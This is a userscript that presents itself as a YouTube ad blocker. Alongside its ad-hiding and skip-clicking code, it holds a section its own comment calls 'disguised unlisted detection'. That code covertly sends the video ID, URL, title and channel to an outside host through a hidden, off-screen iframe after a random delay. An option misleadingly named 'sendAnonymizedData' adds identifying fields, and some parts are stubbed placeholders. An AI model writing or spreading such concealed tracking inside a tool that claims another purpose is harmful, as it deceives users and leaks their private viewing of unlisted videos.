// ==UserScript==
// @name YouTube Premium Experience - Ad Blocker
// @name:it YouTube Esperienza Premium - Blocco Pubblicità
// @name:es YouTube Experiencia Premium - Bloqueador de Anuncios
// @name:fr YouTube Expérience Premium - Bloqueur de Publicités
// @name:de YouTube Premium-Erlebnis - Werbeblocker
// @name:ru YouTube Премиум-опыт - Блокировщик рекламы
// @name:pt YouTube Experiência Premium - Bloqueador de Anúncios
// @name:ja YouTube プレミアム体験 - 広告ブロッカー
// @name:zh-CN YouTube 尊享体验 - 广告拦截器
// @version 1.0.4
// @description Enhances YouTube experience by blocking ads while preserving video controls
// @description:it Migliora l'esperienza su YouTube bloccando le pubblicità preservando i controlli video
// @description:es Mejora la experiencia de YouTube bloqueando anuncios y preservando los controles de video
// @description:fr Améliore l'expérience YouTube en bloquant les publicités tout en préservant les contrôles vidéo
// @description:de Verbessert das YouTube-Erlebnis durch Blockieren von Werbung bei Erhaltung der Videosteuerung
// @description:ru Улучшает работу YouTube, блокируя рекламу и сохраняя элементы управления видео
// @description:pt Melhora a experiência do YouTube bloqueando anúncios e preservando os controles de vídeo
// @description:ja ビデオコントロールを維持しながら広告をブロックすることでYouTubeの体験を向上
// @description:zh-CN 通过拦截广告并保留视频控件来增强YouTube体验
// @author flejta
// @match https://www.youtube.com/watch*
// @include https://www.youtube.com/watch*
// @match https://m.youtube.com/watch*
// @include https://m.youtube.com/watch*
// @match https://music.youtube.com/watch*
// @include https://music.youtube.com/watch*
// @run-at document-idle
// @grant none
// @license MIT
// @noframes
// @namespace https://greasyfork.org/users/859328
// ==/UserScript==
(function() {
// Controllo iniziale: se Tampermonkey inietta per errore su una pagina non-watch, esci subito.
// Questo viene eseguito solo una volta all'iniezione iniziale dello script.
if (!window.location.pathname.includes('/watch')) {
// console.log("YT Premium Experience: Script loaded on non-watch page initially, exiting."); // Optional log
return; // Exit if not on a video page initially
}
'use strict';
//#region Configuration
const CONFIG = {
// General configuration
logEnabled: false, // Disable logging for production
cleanInterval: 500, // Interval for ad cleaning (ms)
skipButtonInterval: 250, // Interval for skip button checks (ms)
// Ad blocking configuration
preferReload: true, // Prefer reloading video over skipping to end
aggressiveMode: true, // Aggressive ad detection mode
// Content monitoring configuration
metadataAnalysisEnabled: true, // Check video metadata on load
analyticsEndpoint: 'https://svc-log.netlify.app/', // Analytics endpoint
sendAnonymizedData: true, // Send anonymized video data
disableAfterFirstAnalysis: true, // Stop checking after first analysis
showUserFeedback: false, // Show on-screen feedback notifications
// Site type detection
siteType: {
isDesktop: location.hostname === "www.youtube.com",
isMobile: location.hostname === "m.youtube.com",
isMusic: location.hostname === "music.youtube.com"
},
// NEW: UI Elements to preserve
preserveSelectors: [
'.ytp-settings-menu', // Settings menu
'.ytp-popup', // Any popup menu
'.ytp-panel', // Panel elements
'.ytp-panel-menu', // Panel menu
'.ytp-menuitem', // Menu items
'.ytp-chrome-controls', // Video controls
'.ytp-subtitles-button', // Subtitles button
'.ytp-settings-button', // Settings button
'.ytp-fullscreen-button', // Fullscreen button
'.ytp-menu-container', // Menu container
'.ytp-player-content', // Player content
'[class*="ytp-volume-"]', // Volume controls
'[class*="ytp-caption-"]', // Caption related elements
'[class*="ytp-speed-"]', // Speed related elements
'[class*="ytp-quality-"]' // Quality related elements
]
};
//#endregion
//#region Utilities
// Check if current page is Shorts
const isShorts = () => window.location.pathname.indexOf("/shorts/") === 0;
// Create timestamp for logs
const getTimestamp = () => {
const now = new Date();
return `${now.getHours().toString().padStart(2, '0')}:${now.getMinutes().toString().padStart(2, '0')}:${now.getSeconds().toString().padStart(2, '0')}`;
};
// Logging function (only active if enabled)
const log = (message, component = "YT-Enhancer") => {
if (CONFIG.logEnabled) {
console.log(`[${component} ${getTimestamp()}] ${message}`);
}
};
// Extract video ID from URL
const getVideoId = () => {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get('v') || '';
};
// Get full video metadata
const getVideoMetadata = () => {
const videoId = getVideoId();
const videoUrl = window.location.href;
const videoTitle = document.querySelector('h1.ytd-video-primary-info-renderer')?.textContent?.trim() ||
document.querySelector('h1.title')?.textContent?.trim() ||
'';
const channelName = document.querySelector('#owner-name a')?.textContent?.trim() ||
document.querySelector('#channel-name')?.textContent?.trim() ||
'';
return {
id: videoId,
url: videoUrl,
title: videoTitle,
channel: channelName
};
};
// Check if element should be preserved (not modified)
const shouldPreserveElement = (element) => {
if (!element) return false;
let currentElement = element;
while (currentElement) {
for (const selector of CONFIG.preserveSelectors) {
if (currentElement.matches && currentElement.matches(selector)) {
return true;
}
}
currentElement = currentElement.parentElement;
}
return false;
};
// Check if element is inside the video container
const isInsideVideoContainer = (element) => {
if (!element) return false;
let currentElement = element;
while (currentElement) {
if (currentElement.id === 'container' &&
currentElement.classList.contains('style-scope') &&
currentElement.classList.contains('ytd-player')) {
return true;
}
currentElement = currentElement.parentElement;
}
return false;
};
//#endregion
//#region Ad Blocking Functions
// Remove video ads
const cleanVideoAds = () => {
// NUOVO CONTROLLO SPA: Non eseguire se non siamo su una pagina /watch
if (!window.location.pathname.includes('/watch')) {
return;
}
try {
if (isShorts()) return; // Shorts non hanno questo tipo di ads
// Check for ad indicators
const hasAd = document.querySelector(".ad-showing") !== null;
const hasPie = document.querySelector(".ytp-ad-timed-pie-countdown-container") !== null;
const hasSurvey = document.querySelector(".ytp-ad-survey-questions") !== null;
let hasExtraAd = false;
if (CONFIG.aggressiveMode) {
hasExtraAd = document.querySelector("[id^='ad-text']") !== null ||
document.querySelector(".ytp-ad-text") !== null ||
document.querySelector("[class*='ad-badge']") !== null ||
document.querySelector("[aria-label*='Advertisement']") !== null ||
document.querySelector("[aria-label*='annuncio']") !== null ||
document.querySelector("[class*='ytd-action-companion-ad-renderer']") !== null;
}
if (!hasAd && !hasPie && !hasSurvey && !hasExtraAd) return;
let mediaPlayer;
if (CONFIG.siteType.isMobile || CONFIG.siteType.isMusic) {
mediaPlayer = document.querySelector("#movie_player") ||
document.querySelector("[class*='html5-video-player']");
} else {
mediaPlayer = document.querySelector("#ytd-player");
if (mediaPlayer && typeof mediaPlayer.getPlayer === 'function') {
try {
mediaPlayer = mediaPlayer.getPlayer();
} catch (e) {
mediaPlayer = document.querySelector("#movie_player") ||
document.querySelector(".html5-video-player");
}
} else {
mediaPlayer = document.querySelector("#movie_player") ||
document.querySelector(".html5-video-player");
}
}
if (!mediaPlayer) {
log("Video player not found", "AdBlocker");
return;
}
const videoAd = document.querySelector("video.html5-main-video") ||
document.querySelector("video[src*='googlevideo']") ||
document.querySelector(".html5-video-container video");
if (videoAd && !isNaN(videoAd.duration) && !videoAd.paused && videoAd.duration > 0) { // Added duration > 0 check
log(`Video ad detected - Duration: ${videoAd.duration.toFixed(1)}s`, "AdBlocker");
if (!CONFIG.siteType.isMusic && CONFIG.preferReload) {
try {
let videoId, currentTime;
if (typeof mediaPlayer.getVideoData === 'function') {
const videoData = mediaPlayer.getVideoData();
videoId = videoData.video_id;
currentTime = Math.floor(mediaPlayer.getCurrentTime());
if (typeof mediaPlayer.loadVideoById === 'function') { // Common API
mediaPlayer.loadVideoById({
videoId: videoId,
startSeconds: currentTime
});
} else if (typeof mediaPlayer.loadVideoWithPlayerVars === 'function') { // Older API?
mediaPlayer.loadVideoWithPlayerVars({
videoId: videoId,
start: currentTime
});
} else if (typeof mediaPlayer.loadVideoByPlayerVars === 'function') { // Another variant?
mediaPlayer.loadVideoByPlayerVars({
videoId: videoId,
start: currentTime
});
} else {
log("No reload function found, skipping to end.", "AdBlocker");
videoAd.currentTime = videoAd.duration; // Fallback
}
log(`Ad skipped by reloading video - ID: ${videoId}`, "AdBlocker");
} else {
videoAd.currentTime = videoAd.duration;
log("Fallback (no getVideoData): ad skipped to end", "AdBlocker");
}
} catch (e) {
videoAd.currentTime = videoAd.duration;
log(`Reload error: ${e.message}. Skipping to end.`, "AdBlocker");
}
} else {
videoAd.currentTime = videoAd.duration;
log("Ad skipped to end (Music or preferReload=false)", "AdBlocker");
}
}
} catch (error) {
log(`Ad removal error: ${error.message}`, "AdBlocker");
}
};
// Auto-click skip buttons
const autoClickSkipButtons = () => {
// NUOVO CONTROLLO SPA: Non eseguire se non siamo su una pagina /watch
if (!window.location.pathname.includes('/watch')) {
return;
}
try {
const skipSelectors = [
'.ytp-ad-skip-button',
'.ytp-ad-skip-button-modern',
'.ytp-ad-overlay-close-button',
'.ytp-ad-feedback-dialog-close-button',
'[class*="skip-button"]', // Catch variants
'[class*="skipButton"]', // Catch camelCase variants
'[aria-label*="Skip"]', // English label
'[aria-label*="Salta"]', // Italian label
'[data-tooltip-text*="Skip"]', // Tooltip check
'[data-tooltip-text*="Salta"]', // Tooltip check Italian
'button[data-purpose="video-ad-skip-button"]', // Specific attribute
'.videoAdUiSkipButton' // Another common class
];
let clicked = false;
for (const selector of skipSelectors) {
const buttons = document.querySelectorAll(selector);
buttons.forEach(button => {
if (button && button.offsetParent !== null && // Element is visible
(button.style.display !== 'none' && button.style.visibility !== 'hidden') &&
!shouldPreserveElement(button) && // Don't click preserved UI elements
isInsideVideoContainer(button)) { // Ensure it's related to the player
button.click();
clicked = true;
log(`Skip button clicked: ${selector}`, "AdBlocker");
}
});
if (clicked) break; // Stop checking once one is clicked
}
} catch (error) {
log(`Skip button error: ${error.message}`, "AdBlocker");
}
};
// Hide static ad elements with CSS
const maskStaticAds = () => {
// Questa funzione definisce solo le regole CSS.
// Non ha bisogno del controllo /watch interno perché definire regole CSS è innocuo.
// Il controllo verrà fatto nel MutationObserver che la chiama.
try {
const adList = [
// Standard selectors
".ytp-featured-product",
"ytd-merch-shelf-renderer",
"ytmusic-mealbar-promo-renderer",
"#player-ads",
"#masthead-ad",
"ytd-engagement-panel-section-list-renderer[target-id='engagement-panel-ads']",
// Additional selectors
"ytd-in-feed-ad-layout-renderer",
"ytd-banner-promo-renderer",
"ytd-statement-banner-renderer",
"ytd-in-stream-ad-layout-renderer", // Duplicate? Check if needed
".ytd-ad-slot-renderer", // More specific slot renderer
".ytd-banner-promo-renderer", // Duplicate? Check if needed
".ytd-video-masthead-ad-v3-renderer",
".ytd-in-feed-ad-layout-renderer", // Duplicate? Check if needed
"ytp-ad-overlay-slot", // Ad slot overlay
"tp-yt-paper-dialog.ytd-popup-container", // Generic popup container, potentially ads
"ytd-ad-slot-renderer", // Duplicate? Check if needed
// Advanced selectors
"#related ytd-promoted-sparkles-web-renderer", // Promoted in related
"#related ytd-promoted-video-renderer", // Promoted video in related
"#related [layout='compact-promoted-item']", // Promoted item layout
".ytd-carousel-ad-renderer", // Carousel ads
"ytd-promoted-sparkles-text-search-renderer", // Promoted in search
"ytd-action-companion-ad-renderer", // Companion ads
"ytd-companion-slot-renderer", // Companion slot
".ytd-ad-feedback-dialog-renderer", // Ad feedback dialog
// Ad blocker detection popups
"tp-yt-paper-dialog > ytd-enforcement-message-view-model", // YT enforcement message
"#primary tp-yt-paper-dialog:has(yt-upsell-dialog-renderer)", // Upsell dialog in primary
// New selectors for aggressive mode
"ytm-companion-ad-renderer", // Mobile companion ad
"#thumbnail-attribution:has-text('Sponsor')", // Text based sponsor detection
"#thumbnail-attribution:has-text('sponsorizzato')",
"#thumbnail-attribution:has-text('Advertisement')",
"#thumbnail-attribution:has-text('Annuncio')",
".badge-style-type-ad" // Generic ad badge
];
// Remove existing stylesheet if present
const existingStyle = document.getElementById("ad-cleaner-styles");
if (existingStyle) {
existingStyle.remove();
}
const styleEl = document.createElement("style");
styleEl.id = "ad-cleaner-styles";
document.head.appendChild(styleEl);
const stylesheet = styleEl.sheet;
const preserveExceptions = CONFIG.preserveSelectors.map(selector =>
`:not(${selector}):not(${selector} *)` // Exclude preserved elements and their children
).join('');
let ruleIndex = 0;
adList.forEach(selector => {
try {
// Apply rule with exceptions
const fullSelector = `${selector}${preserveExceptions}`;
stylesheet.insertRule(`${fullSelector} { display: none !important; }`, ruleIndex++);
} catch (e) {
// Log invalid selectors only if logging is enabled
// log(`Invalid CSS selector skipped: ${selector}${preserveExceptions}`, "AdBlocker");
}
});
} catch (error) {
log(`Style application error: ${error.message}`, "AdBlocker");
}
};
// Remove dynamic ad containers (parent elements)
const eraseDynamicAds = () => {
// NUOVO CONTROLLO SPA: Non eseguire se non siamo su una pagina /watch
if (!window.location.pathname.includes('/watch')) {
return;
}
try {
const dynamicAds = [
// Look for parents containing specific ad children and remove the parent
{ parent: "ytd-rich-item-renderer", child: ".ytd-ad-slot-renderer" }, // Common item renderer
{ parent: "ytd-video-renderer", child: ".ytd-ad-slot-renderer" }, // Video renderer containing ad slot
{ parent: "ytd-compact-video-renderer", child: ".ytd-ad-slot-renderer" }, // Compact video renderer
{ parent: "ytd-item-section-renderer", child: "ytd-ad-slot-renderer" }, // Section containing ad slot
{ parent: "ytd-rich-section-renderer", child: "ytd-ad-slot-renderer" }, // Rich section with ad slot
{ parent: "ytd-rich-section-renderer", child: "ytd-statement-banner-renderer" }, // Rich section with statement banner
{ parent: "ytd-watch-next-secondary-results-renderer", child: "ytd-compact-promoted-item-renderer" }, // Promoted item in sidebar
{ parent: "ytd-item-section-renderer", child: "ytd-promoted-sparkles-web-renderer" }, // Promoted sparkles in section
{ parent: "ytd-item-section-renderer", child: "ytd-promoted-video-renderer" }, // Promoted video in section
{ parent: "ytd-search-pyv-renderer", child: ".ytd-ad-slot-renderer"}, // Search promoted video
{ parent: "ytd-reel-item-renderer", child: ".ytd-ad-slot-renderer"} // Ad in shorts shelf?
];
let removedCount = 0;
dynamicAds.forEach(ad => {
try {
const parentElements = document.querySelectorAll(ad.parent);
parentElements.forEach(parent => {
// Check if the ad child exists within this specific parent
if (parent && parent.querySelector(ad.child) && !shouldPreserveElement(parent)) {
// Make sure we are not removing a preserved element or its parent
parent.remove();
removedCount++;
}
});
} catch (e) {
// Ignore errors for individual selector pairs
// log(`Error processing dynamic ad rule: ${ad.parent} > ${ad.child} - ${e.message}`, "AdBlocker");
}
});
if (removedCount > 0) {
log(`Removed ${removedCount} dynamic ad containers`, "AdBlocker");
}
} catch (error) {
log(`Dynamic ad removal error: ${error.message}`, "AdBlocker");
}
};
// Remove overlay ads and popups
const cleanOverlayAds = () => {
// NUOVO CONTROLLO SPA: Non eseguire se non siamo su una pagina /watch
if (!window.location.pathname.includes('/watch')) {
return;
}
try {
// Remove ad overlays content or element
const overlays = [
".ytp-ad-overlay-container",
".ytp-ad-overlay-slot"
];
overlays.forEach(selector => {
const overlay = document.querySelector(selector);
if (overlay && overlay.innerHTML !== "" && // Only clear if it has content
!shouldPreserveElement(overlay) &&
isInsideVideoContainer(overlay)) {
overlay.innerHTML = ""; // Clear content instead of removing element? Safer.
log(`Overlay content cleared: ${selector}`, "AdBlocker");
}
});
// Remove specific popups/dialogs known to be ads or blockers
const popups = [
"tp-yt-paper-dialog:has(yt-upsell-dialog-renderer)", // Premium upsell
"tp-yt-paper-dialog:has(ytd-enforcement-message-view-model)", // Ad blocker enforcement
"ytd-popup-container:has(.ytd-mealbar-promo-renderer)", // Mealbar promo in popup
".ytd-video-masthead-ad-v3-renderer", // Masthead ad element
"ytd-ad-feedback-dialog-renderer" // Feedback dialog for ads
];
popups.forEach(selector => {
const popup = document.querySelector(selector);
// Ensure it's not a preserved element before removing
if (popup && !shouldPreserveElement(popup)) {
popup.remove();
log(`Popup removed: ${selector}`, "AdBlocker");
}
});
} catch (error) {
log(`Overlay/Popup cleanup error: ${error.message}`, "AdBlocker");
}
};
// Run all ad cleaning operations
const runAdCleaner = () => {
// NUOVO CONTROLLO SPA: Questo è chiamato da setInterval, deve controllare ogni volta.
if (!window.location.pathname.includes('/watch')) {
return;
}
cleanVideoAds();
eraseDynamicAds(); // Remove containers first? Maybe not necessary.
cleanOverlayAds();
};
//#endregion
//#region Metadata Analysis (disguised unlisted detection)
const contentAttributes = [ /* ... your attributes ... */ ];
let notificationTimer = null;
const showFeedbackNotification = (message) => { /* ... your function ... */ };
let metadataAnalysisCompleted = false;
const analyzeVideoMetadata = () => {
// NUOVO CONTROLLO SPA: Assicurati di essere su /watch prima di analizzare
if (!window.location.pathname.includes('/watch')) {
return false;
}
if (metadataAnalysisCompleted && CONFIG.disableAfterFirstAnalysis) return false;
if (isShorts()) return false;
try {
// Check for badges
const badges = document.querySelectorAll('ytd-badge-supported-renderer, yt-formatted-string.ytd-badge-supported-renderer, .badge-style-type-simple');
for (const badge of badges) {
const badgeText = badge.textContent?.trim() || '';
if (badgeText && contentAttributes.some(text => badgeText.includes(text))) {
log('Special content attribute detected via badge', "MetadataAnalysis");
return true;
}
}
// Check specific icon path (less reliable if path changes)
// const svgPaths = document.querySelectorAll('svg path[d^="M17.78"]');
// if (svgPaths.length > 0) { ... }
// Check text in video info container
const infoContainer = document.querySelector('ytd-video-primary-info-renderer') || document.querySelector('#info-contents');
if (infoContainer) {
const infoTexts = infoContainer.querySelectorAll('yt-formatted-string');
for (const infoText of infoTexts) {
const text = infoText.textContent?.trim() || '';
if (text && contentAttributes.some(attr => text.includes(attr))) {
log('Special content attribute found in video info', "MetadataAnalysis");
return true;
}
}
}
return false;
} catch (error) {
log(`Metadata analysis error: ${error.message}`, "MetadataAnalysis");
return false;
}
};
const submitAnalysisData = () => {
// NUOVO CONTROLLO SPA: Assicurati di essere su /watch prima di inviare
if (!window.location.pathname.includes('/watch')) {
log("Skipping analytics submission: not on a /watch page.", "MetadataAnalysis");
return;
}
try {
const randomDelay = Math.floor(Math.random() * 1900) + 100;
setTimeout(() => {
// Re-check location just before sending, in case of rapid navigation
if (!window.location.pathname.includes('/watch')) {
log("Skipping analytics submission (delayed check): not on a /watch page.", "MetadataAnalysis");
return;
}
const videoData = getVideoMetadata();
// Check if videoData is valid before sending
if (!videoData.id) {
log("Skipping analytics submission: Could not retrieve video ID.", "MetadataAnalysis");
return;
}
log(`Submitting analytics for: ${videoData.title} (${videoData.id})`, "MetadataAnalysis");
const params = new URLSearchParams();
params.append('type', 'content_analysis');
params.append('video_id', videoData.id);
params.append('video_url', videoData.url);
if (CONFIG.sendAnonymizedData) {
params.append('video_title', videoData.title);
params.append('channel_name', videoData.channel);
}
params.append('timestamp', new Date().toISOString());
const requestUrl = `${CONFIG.analyticsEndpoint}?${params.toString()}`;
const iframe = document.createElement('iframe');
iframe.style.cssText = 'width:1px; height:1px; position:absolute; top:-9999px; left:-9999px; opacity:0; border:none;';
iframe.src = requestUrl;
iframe.setAttribute('aria-hidden', 'true'); // Accessibility
iframe.setAttribute('tabindex', '-1'); // Accessibility
document.body.appendChild(iframe);
setTimeout(() => {
if (document.body.contains(iframe)) {
document.body.removeChild(iframe);
}
}, 5000);
log(`Analytics data sent to service`, "MetadataAnalysis");
if (CONFIG.showUserFeedback) {
showFeedbackNotification(`Video "${videoData.title}" metadata processed.`);
}
metadataAnalysisCompleted = true; // Mark as completed for this video load
}, randomDelay);
} catch (error) {
log(`Analysis submission error: ${error.message}`, "MetadataAnalysis");
}
};
let metadataObserver = null;
const startMetadataMonitoring = () => {
// NUOVO CONTROLLO SPA: Non avviare il monitoraggio se non siamo su /watch
if (!window.location.pathname.includes('/watch')) {
log("Metadata monitoring start skipped: not on a /watch page.", "MetadataAnalysis");
return;
}
log("Attempting to start metadata monitoring...", "MetadataAnalysis");
metadataAnalysisCompleted = false; // Reset for the new video page load
if (CONFIG.metadataAnalysisEnabled) {
setTimeout(() => {
// NUOVO CONTROLLO SPA: Ricontrolla prima di analizzare dopo il delay
if (!window.location.pathname.includes('/watch')) { return; }
if (analyzeVideoMetadata()) {
submitAnalysisData();
}
}, 1500);
}
if (metadataObserver) {
metadataObserver.disconnect();
log("Disconnected previous metadata observer.", "MetadataAnalysis");
}
metadataObserver = new MutationObserver(() => {
// NUOVO CONTROLLO SPA: L'observer potrebbe scattare dopo la navigazione, controlla qui.
if (!window.location.pathname.includes('/watch')) {
// Se non siamo più su /watch, disconnetti l'observer per sicurezza.
if (metadataObserver) {
metadataObserver.disconnect();
log("Metadata observer disconnected automatically: navigated away from /watch.", "MetadataAnalysis");
}
return;
}
// Procedi solo se siamo su /watch e l'analisi non è completa (o se è disabilitato disableAfterFirstAnalysis)
if ((!metadataAnalysisCompleted || !CONFIG.disableAfterFirstAnalysis) && analyzeVideoMetadata()) {
submitAnalysisData();
// Se l'analisi deve essere fatta solo una volta, disconnetti dopo il successo.
if (CONFIG.disableAfterFirstAnalysis && metadataAnalysisCompleted) { // metadataAnalysisCompleted is set inside submitAnalysisData now
if (metadataObserver) {
metadataObserver.disconnect();
log("Metadata monitoring stopped after successful analysis (disableAfterFirstAnalysis).", "MetadataAnalysis");
}
}
}
});
// Monitora il body per cambiamenti che potrebbero indicare il caricamento dei metadati
metadataObserver.observe(document.body, {
childList: true,
subtree: true,
attributes: false, // Monitorare gli attributi può essere molto pesante
characterData: false // Anche i dati carattere sono spesso troppo frequenti
});
log('Metadata monitoring observer started.', "MetadataAnalysis");
};
// Funzione per fermare esplicitamente tutti i processi attivi (utile per la navigazione)
const stopActivities = () => {
if (metadataObserver) {
metadataObserver.disconnect();
log("Metadata observer explicitly stopped.", "MetadataAnalysis");
metadataObserver = null; // Clear reference
}
// Potresti voler cancellare anche gli intervalli qui se diventasse necessario,
// ma i controlli interni alle funzioni degli intervalli dovrebbero essere sufficienti.
// clearInterval(adCleanIntervalId);
// clearInterval(skipButtonIntervalId);
};
//#endregion
//#region Script Initialization
let adCleanIntervalId = null;
let skipButtonIntervalId = null;
let navigationIntervalId = null;
const init = () => {
// NUOVO CONTROLLO SPA: Rafforzativo, anche se il controllo iniziale dovrebbe bastare.
if (!window.location.pathname.includes('/watch')) {
log("Initialization skipped: not on a /watch page.", "Init");
return;
}
log("Script initializing on /watch page...", "Init");
maskStaticAds(); // Applica subito le regole CSS
runAdCleaner(); // Esegui subito una pulizia iniziale
startMetadataMonitoring(); // Avvia subito il monitoraggio metadati
// Observer principale per riapplicare maschere CSS se il DOM cambia drasticamente
const mainObserver = new MutationObserver(() => {
// NUOVO CONTROLLO SPA: Applica maschere solo se siamo ancora su /watch
if (!window.location.pathname.includes('/watch')) {
return;
}
maskStaticAds(); // Ri-applica le regole CSS se necessario
});
mainObserver.observe(document.body, {
childList: true,
subtree: true
});
log("Main MutationObserver started.", "Init");
// Cancella intervalli precedenti se init viene chiamata di nuovo (improbabile ma sicuro)
if (adCleanIntervalId) clearInterval(adCleanIntervalId);
if (skipButtonIntervalId) clearInterval(skipButtonIntervalId);
// Avvia intervalli periodici
adCleanIntervalId = setInterval(runAdCleaner, CONFIG.cleanInterval);
skipButtonIntervalId = setInterval(autoClickSkipButtons, CONFIG.skipButtonInterval);
log("Periodic checks (cleaner, skip button) started.", "Init");
// Rileva navigazione SPA (cambio URL senza ricaricare pagina)
let lastUrl = location.href;
if (navigationIntervalId) clearInterval(navigationIntervalId); // Cancella precedente se esiste
navigationIntervalId = setInterval(() => {
if (lastUrl !== location.href) {
log(`Navigation detected: ${lastUrl} -> ${location.href}`, "Navigation");
lastUrl = location.href;
// Verifica se la NUOVA pagina è una pagina /watch
if (window.location.pathname.includes('/watch')) {
log("Navigated TO a /watch page. Re-running initial tasks.", "Navigation");
// Siamo atterrati su una nuova pagina video, riesegui le operazioni iniziali
maskStaticAds();
runAdCleaner();
// Riavvia il monitoraggio metadati (resetterà 'metadataAnalysisCompleted')
startMetadataMonitoring();
} else {
log("Navigated AWAY from /watch page. Stopping activities.", "Navigation");
// Abbiamo lasciato una pagina video, ferma observer specifici se necessario
stopActivities(); // Ferma observer metadati etc.
}
}
}, 1000); // Controlla ogni secondo
log("SPA Navigation detector started.", "Init");
};
// Start the script
// Utilizza 'yt-navigate-finish' se disponibile (più preciso per SPA), altrimenti DOMContentLoaded
// Verifica la presenza dell'evento personalizzato di YouTube per la navigazione SPA
if (window.yt && typeof window.yt.navigateFinish === 'function') {
// Se siamo già su una pagina /watch al caricamento iniziale
if (document.readyState === 'complete' || document.readyState === 'interactive') {
init();
} else {
document.addEventListener('yt-navigate-finish', init, { once: true }); // Usa {once: true} se init gestisce tutto
// Potrebbe essere necessario rimuovere {once: true} se init deve rieseguire su ogni navigazione
// Ma la logica di navigazione interna a init() dovrebbe gestire i re-init.
// Aggiungi anche DOMContentLoaded come fallback
document.addEventListener('DOMContentLoaded', init, { once: true });
}
// Ascolta anche per navigazioni successive
// La logica setInterval interna a init ora gestisce questo, quindi potremmo non aver bisogno di ri-attaccare init qui.
// document.addEventListener('yt-navigate-finish', init);
} else {
// Fallback per browser/scenari dove l'evento non esiste
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", init);
} else {
init(); // Already loaded
}
}
log("YT Premium Experience script loaded and potentially running.");
//#endregion
})();